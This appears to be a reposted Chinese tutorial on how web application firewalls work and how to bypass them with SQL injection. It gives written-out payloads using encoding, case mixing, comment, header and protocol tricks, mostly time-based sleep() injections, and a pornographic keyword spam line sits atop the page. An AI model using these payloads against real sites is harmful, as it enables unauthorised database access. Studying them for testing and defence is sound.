日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

WAF机制及绕过方法总结:注入篇

發(fā)布時(shí)間:2024/1/23 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 WAF机制及绕过方法总结:注入篇 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

本篇文章主要介紹WAF的一些基本原理,總結(jié)常見的SQL注入Bypass WAF技巧。WAF是專門為保護(hù)基于Web應(yīng)用程序而設(shè)計(jì)的,我們研究WAF繞過的目的一是幫助安服人員了解滲透測試中的測試技巧,而是能夠?qū)Π踩O(shè)備廠商提供一些安全建議,及時(shí)修復(fù)WAF存在的安全問題,以增強(qiáng)WAF的完備性和抗攻擊性。三是希望網(wǎng)站開發(fā)者明白并不是部署了WAF就可以高枕無憂了,要明白漏洞產(chǎn)生的根本原因,最好能在代碼層面上就將其修復(fù)。

一、WAF的定義

WAF(Web應(yīng)用防火墻)是通過執(zhí)行一系列針對HTTP/HTTPS的安全策略來專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。通俗來說就是WAF產(chǎn)品里集成了一定的檢測規(guī)則,會(huì)對每個(gè)請求的內(nèi)容根據(jù)生成的規(guī)則進(jìn)行檢測并對不符合安全規(guī)則的作出對應(yīng)的防御處理,從而保證Web應(yīng)用的安全性與合法性。

二、WAF的工作原理

WAF的處理流程大致可分為四部分:預(yù)處理、規(guī)則檢測、處理模塊、日志記錄

1.???預(yù)處理

預(yù)處理階段首先在接收到數(shù)據(jù)請求流量時(shí)會(huì)先判斷是否為HTTP/HTTPS請求,之后會(huì)查看此URL請求是否在白名單之內(nèi),如果該URL請求在白名單列表里,直接交給后端Web服務(wù)器進(jìn)行響應(yīng)處理,對于不在白名單之內(nèi)的對數(shù)據(jù)包解析后進(jìn)入到規(guī)則檢測部分。

2.???規(guī)則檢測

每一種WAF產(chǎn)品都有自己獨(dú)特的檢測規(guī)則體系,解析后的數(shù)據(jù)包會(huì)進(jìn)入到檢測體系中進(jìn)行規(guī)則匹配,檢查該數(shù)據(jù)請求是否符合規(guī)則,識(shí)別出惡意攻擊行為。

3.???處理模塊

針對不同的檢測結(jié)果,處理模塊會(huì)做出不同的安全防御動(dòng)作,如果符合規(guī)則則交給后端Web服務(wù)器進(jìn)行響應(yīng)處理,對于不符合規(guī)則的請求會(huì)執(zhí)行相關(guān)的阻斷、記錄、告警處理。

不同的WAF產(chǎn)品會(huì)自定義不同的攔截警告頁面,在日常滲透中我們也可以根據(jù)不同的攔截頁面來辨別出網(wǎng)站使用了哪款WAF產(chǎn)品,從而有目的性進(jìn)行WAF繞過。

4.???日志記錄

WAF在處理的過程中也會(huì)將攔截處理的日志記錄下來,方便用戶在后續(xù)中可以進(jìn)行日志查看分析。

三、WAF的分類

1.? 軟WAF

軟件WAF安裝過程比較簡單,需要安裝到需要安全防護(hù)的web服務(wù)器上,以純軟件的方式實(shí)現(xiàn)。

代表產(chǎn)品:安全狗,云鎖,D盾等

2.? 硬WAF

硬件WAF的價(jià)格一般比較昂貴,支持多種方式部署到Web服務(wù)器前端,識(shí)別外部的異常流量,并進(jìn)行阻斷攔截,為Web應(yīng)用提供安全防護(hù)。

代表產(chǎn)品有:Imperva、天清WAG等

3.???云WAF

云WAF的維護(hù)成本低,不需要部署任何硬件設(shè)備,云WAF的攔截規(guī)則會(huì)實(shí)時(shí)更新。對于部署了云WAF的網(wǎng)站,我們發(fā)出的數(shù)據(jù)請求首先會(huì)經(jīng)過云WAF節(jié)點(diǎn)進(jìn)行規(guī)則檢測,如果請求匹配到WAF攔截規(guī)則,則會(huì)被WAF進(jìn)行攔截處理,對于正常、安全的請求則轉(zhuǎn)發(fā)到真實(shí)Web服務(wù)器中進(jìn)行響應(yīng)處理。

代表產(chǎn)品有:阿里云云盾,騰訊云WAF等

4.???自定義WAF

我們在平時(shí)的滲透測試中,更多情況下會(huì)遇到的是網(wǎng)站開發(fā)人員自己寫的防護(hù)規(guī)則。網(wǎng)站開發(fā)人員為了網(wǎng)站的安全,會(huì)在可能遭受攻擊的地方增加一些安全防護(hù)代碼,比如過濾敏感字符,對潛在的威脅的字符進(jìn)行編碼、轉(zhuǎn)義等。

四、WAF的部署方式

1. 透明網(wǎng)橋

2. 反向代理

3. 鏡像流量

4. 路由代理

五、?繞WAF的多種方式

為了讓大家更清楚的理解繞WAF的方法原理,本次WAF繞過方法的介紹中會(huì)增加部分代碼示例。

注:本文的代碼示例都是在sqli-labs基礎(chǔ)上修改的。

正常無攔截規(guī)則的代碼:

接收用戶傳遞的參數(shù)后直接帶入數(shù)據(jù)庫中執(zhí)行。為了方便查看,將查詢語句動(dòng)態(tài)輸出。

1.???各種編碼繞過

繞WAF最常見的方法就是使用各種編碼進(jìn)行繞過,但編碼能繞過的前提是提交的編碼后的參數(shù)內(nèi)容在進(jìn)入數(shù)據(jù)庫查詢語句之前會(huì)有相關(guān)的解碼代碼。

a)?? URL編碼:

增加了過濾規(guī)則的代碼:

代碼中增加了特殊字符過濾,但在參數(shù)值進(jìn)入數(shù)據(jù)庫查詢語句前多了一步解碼操作:

$id= urldecode($id);

正常payload:

?id=1' and '1'='2

直接提交攻擊語句,單引號(hào)被過濾,注入語句未成功插入。

繞過payload:

?id=?%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

對參數(shù)值進(jìn)行URL編碼后可繞過過濾檢測,注入語句成功寫入。

b)??二次URL編碼

增加了過濾規(guī)則的代碼:

代碼中在特殊字符過濾前又多增加了一步解碼操作,可使用二次URL編碼進(jìn)行繞過。

正常payload:

?id=1'and '1'='2

?id=%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32

使用一次URL編碼繞過后,由于在過濾前會(huì)進(jìn)行一次解碼操作,所以單引號(hào)還是被過濾掉,注入語句未成功插入。

繞過payload:

?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32

使用二次URL編碼后可繞過過濾檢測,注入語句成功寫入。

c)???其他編碼

除了使用URL編碼外,還可以使用其他的編碼方式進(jìn)行繞過嘗試,例如Unicode編碼,Base64編碼,Hex編碼,ASCII編碼等,原理與URL編碼類似,此處不再重復(fù)。

2. 字母大小寫轉(zhuǎn)換繞過

部分WAF只過濾全大寫(SLEEP)或者全小寫(sleep)的敏感字符,未對sleeP/slEEp進(jìn)行過濾,可對關(guān)鍵字進(jìn)行大小寫轉(zhuǎn)換進(jìn)行繞過。

增加了過濾規(guī)則的代碼:

正常payload:

?id=1' and sleep(3) and '1'='1

?id=1' and SLEEP(3) and '1'='1

繞過payload:

?id=1' and sleeP(3) and '1'='1

?id=1' and slEeP(3) and '1'='1

3. 空格過濾繞過

增加了過濾規(guī)則的代碼:

部分WAF會(huì)對空格過濾,可使用空白符或者‘+’號(hào)替換空格進(jìn)行繞過。

a)???使用空白符替換空格繞過

數(shù)據(jù)庫類型允許的空白符
SQLite30A,0D,0C,09,20
MySQL509,0A,0B,0C,0D,A0,20
PosgresSQL0A,0D,0C,09,20
Oracle 11g00,0A,0D,0C,09,20
MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

正常payload:

?id=1'and sleep(3) and '1'='1

空格被過濾,注入語句未成功插入。

繞過payload:

?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1

注入語句成功寫入

b)??使用‘+’替換空格繞過

繞過payload:

?id=1'+and+sleep(3)+and+'1'='1?

注入語句成功寫入

c)???使用注釋符/**/替換空格繞過

繞過payload:

??id=1'/**/and/**/sleep(3)/**/and/**/'1'='1

注入語句成功寫入

4. 雙關(guān)鍵字繞過

部分WAF會(huì)對關(guān)鍵字只進(jìn)行一次過濾處理,可使用雙關(guān)鍵字繞過。

增加了過濾規(guī)則的代碼:

正常payload:

?id=1and SLeeP(3) and 1=1

由于使用了strtolower()函數(shù),所以無法使用大小寫轉(zhuǎn)換進(jìn)行繞過,注入語句未成功插入。

繞過payload:

?id=1+and+SLesleepeP(3)+and+1=1?

WAF只對關(guān)鍵字sleep進(jìn)行一次過濾,可使用SLEsleepEP,進(jìn)行一次過濾后成為sleep,可繞過WAF,注入語句成功寫入。

5. 內(nèi)聯(lián)注釋繞過

在MySQL里,/**/是多行注釋,這個(gè)是SQL的標(biāo)準(zhǔn),但是MySQL擴(kuò)張了解釋的功能,如果在開頭的的/*后頭加了驚嘆號(hào)(/*!50001sleep(3)*/),那么此注釋里的語句將被執(zhí)行。

增加了過濾規(guī)則的代碼:

正常payload:

?id=1+and+sleep(3)+and+1=2

繞過payload:

?id=1+and+/*!50001sleep(3)*/+and+1=1

6. 請求方式差異規(guī)則松懈性繞過

有些WAF同時(shí)接收GET方法和POST的方法,但只在GET方法中增加了過濾規(guī)則,可通過發(fā)送POST方法進(jìn)行繞過。

增加了過濾規(guī)則的代碼:

正常payload:

GET /xxx/?id=1+and+sleep(4)?

?

繞過payload:

POST?/xxx/?

id=1+and+sleep(4)

?

發(fā)送POST請求,繞過過濾規(guī)則,注入語句成功寫入。

7. 異常Method繞過

有些WAF只檢測GET,POST方法,可通過使用異常方法進(jìn)行繞過。

增加了過濾規(guī)則的代碼:

正常payload:

?GET/xxx/?id=1+and+sleep(3) HTTP/1.1

繞過payload:

DigApis?/xxx/?id=1+and+sleep(3)HTTP/1.1

使用異常方法繞過過濾規(guī)則檢測,注入語句成功寫入。

8. 超大數(shù)據(jù)包繞過

部分WAF只檢測固定大小的內(nèi)容,可通過添加無用字符進(jìn)行繞過檢測

增加了過濾規(guī)則的代碼:

正常payload:

?id=1+and+sleep(3)?

繞過payload:

??id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

添加無用字符,使內(nèi)容大小超過WAF檢測能檢測到的最大內(nèi)容。

9. 復(fù)參數(shù)繞過

在提交的URL中給一個(gè)參數(shù)多次賦了不同的值(?id=1&id=2),部分WAF在處理的過程中可能只處理前面提交的參數(shù)值(id=1),而后端程序在處理的時(shí)候可能取的是最后面的值。

正常payload:

?id=1+and+sleep(3)?

繞過payload:

?id=1&id=2+and+sleep(3)?

將攻擊語句賦予最后一個(gè)id參數(shù),可繞過WAF檢測直接進(jìn)入后端服務(wù)器。

10.???添加%繞過過濾

將WAF中過濾的敏感字符通過添加%繞過過濾。

例如:WAF過濾了select ,可通過se%lect繞過過濾,在進(jìn)入后端執(zhí)行中對參數(shù)串進(jìn)行url解碼時(shí),會(huì)直接過濾掉%字符,從而注入語句被執(zhí)行。IIS下的asp.dll文件在對asp文件后參數(shù)串進(jìn)行url解碼時(shí),會(huì)直接過濾%字符。

正常payload:

?id=1 union select 1, 2, 3 from admin

?id=1union select 1, 2, 3 from admi

?繞過payload:

?id=1 union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin?id=1union s%e%lect 1, 2, 3 from admin

?id=1union s%e%lect 1, 2, 3 from admin

11.???協(xié)議未覆蓋繞過

以下四種常見的content-type類型:

以下四種常見的content-type類型:

Content-Type:multipart/form-data;

Content-Type:application/x-www-form-urlencoded

Content-Type: text/xml

Content-Type: application/json

部分WAF可能只對一種content-type類型增加了檢測規(guī)則,可以嘗試互相替換嘗試去繞過WAF過濾機(jī)制。

例如使用multipart/form-data進(jìn)行繞過。

正常請求:

轉(zhuǎn)換為multipart/form-data類型進(jìn)行繞過:

12.???寬字節(jié)繞過

寬字節(jié)注入是因?yàn)槭褂昧薌BK編碼。為了防止sql注入,提交的單引號(hào)(%27)會(huì)進(jìn)行轉(zhuǎn)義處理,即在單引號(hào)前加上斜杠(%5C%27)。

正常payload:

?id=1'and 1=1--+?

繞過payload:

?id=1%df%27and 1=1--+

%df%27經(jīng)過轉(zhuǎn)義后會(huì)變成%df%5C%27,%df%5c會(huì)被識(shí)別為一個(gè)新的字節(jié),而%27則被當(dāng)做單引號(hào),成功實(shí)現(xiàn)了語句閉合。

13.???%00截?cái)?/h3>

部分WAF在解析參數(shù)的時(shí)候當(dāng)遇到%00時(shí),就會(huì)認(rèn)為參數(shù)讀取已結(jié)束,這樣就會(huì)只對部分內(nèi)容進(jìn)行了過濾檢測。

正常payload:

?a=1&id=1and sleep(3)?

繞過payload:

??a=1%00.&id=1and sleep(3)

14.???Cookie/X-Forwarded-For注入繞過

部分WAF可能只對GET,POST提交的參數(shù)進(jìn)行過濾,未對Cookie或者X-Forwarded-For進(jìn)行檢測,可通過cookie或者X-Forwarded-For提交注入?yún)?shù)語句進(jìn)行繞過。

正常payload:

GET /index.aspx?id=1+and+1=1 HTTP/1.1 Host: 192.168.61.175 ...........

Cookie: TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28;

繞過payload:

GET /index.aspx HTTP/1.1 Host: 192.168.61.175 ...........

Cookie:TOKEN=F6F57AD6473E851F5F8A0E7A64D01E28; id=1+and+1=1;

X-Forwarded-For:127.0.0.1';WAITFOR DELAY'0:0:5'--

15.???利用pipline繞過

當(dāng)請求中的Connection字段值為keep-alive,則代表本次發(fā)起的請求所建立的tcp連接不斷開,直到所發(fā)送內(nèi)容結(jié)束Connection為close為止。部分WAF可能只對第一次傳輸過來的請求進(jìn)行過濾處理。

正常請求被攔截:

利用pipline進(jìn)行繞過:

首先關(guān)閉burp的Repeater的Content-Length自動(dòng)更新

修改Connection字段值為keep-alive,將帶有攻擊語句的數(shù)據(jù)請求附加到正常請求后面再發(fā)送一遍。

16.???利用分塊編碼傳輸繞過

分塊傳輸編碼是HTTP的一種數(shù)據(jù)傳輸機(jī)制,允許將消息體分成若干塊進(jìn)行發(fā)送。當(dāng)數(shù)據(jù)請求包中header信息存在Transfer-Encoding: chunked,就代表這個(gè)消息體采用了分塊編碼傳輸。

17.???冷門函數(shù)/字符/運(yùn)算符繞過

floor()?==>? updatexml(),extractvalue()

Substring()?==>? Mid(),Substr(),Lpad(),Rpad(),Left()

concat()?==>? concat_ws(),group_concat()

limit 0,1 ?==>? limit1 offset 0

and? ==>?&&?

or? ==>?||

=?==>? <,>

=?==>? like

Sleep()? ==>?benchmark()

六、總結(jié)

上面使用部分代碼示例向大家介紹了一些基礎(chǔ)的繞過WAF注入方法,但實(shí)際中的WAF檢測規(guī)則錯(cuò)綜復(fù)雜,需要我們通過手工或fuzzing,并結(jié)合多種方法的組合拳去測試WAF檢測原理,從而對抗WAF。

總結(jié)

以上是生活随笔為你收集整理的WAF机制及绕过方法总结:注入篇的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。